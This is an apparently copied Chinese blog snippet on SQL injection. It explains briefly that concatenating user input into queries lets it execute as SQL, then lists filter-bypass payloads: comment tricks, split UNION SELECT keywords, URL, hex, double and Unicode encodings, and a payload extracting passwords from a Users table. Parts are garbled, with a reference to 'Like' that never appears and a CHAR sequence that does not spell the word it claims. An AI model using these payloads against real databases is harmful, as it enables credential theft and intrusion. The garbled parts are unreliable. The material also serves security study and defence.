来源:https://www.cnblogs.com/joy-nick/p/5774462.html
sql注入的原因,表面上说是因为 拼接字符串,构成sql语句,没有使用 sql语句预编译,绑定变量。
但是更深层次的原因是,将用户输入的字符串,当成了 “sql语句” 来执行。
比如上面的 String sql = "select id,no from user where id=" + id;我们希望用户输入的 id 的值,仅仅作为一个字符串字面值,传入数据库执行,但是当输入了: 2 or 1=1 时,其中的 or 1=1 并没有作为 where id= 的字面值,而是作为了 sql语句 来执行的。所以其本质是将用户的输入的数据,作为了命令来执行。
常用注释符:
//, -- , /**/, #, --+, -- -, ;, ,--a UNION /**/ Select /**/user,pwd,from user U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user通常情况下,上面的代码可以绕过过滤器,请注意,我们用的是 Like而不是 =
如URLEncode编码,ASCII,HEX,unicode编码绕过
or 1=1即o%72 %31=%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 十六进制编码 SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) 双重编码绕过 ?id=1%2f%252a*/UNION%2f%252a /SELECT%2f%252a*/1,2,password%2f%252a*/FROM%2f%252a*/Users--+ 一些unicode编码举例: 单引号:' %u0027 %u02b9 %u02bc %u02c8 %u2032 %uff07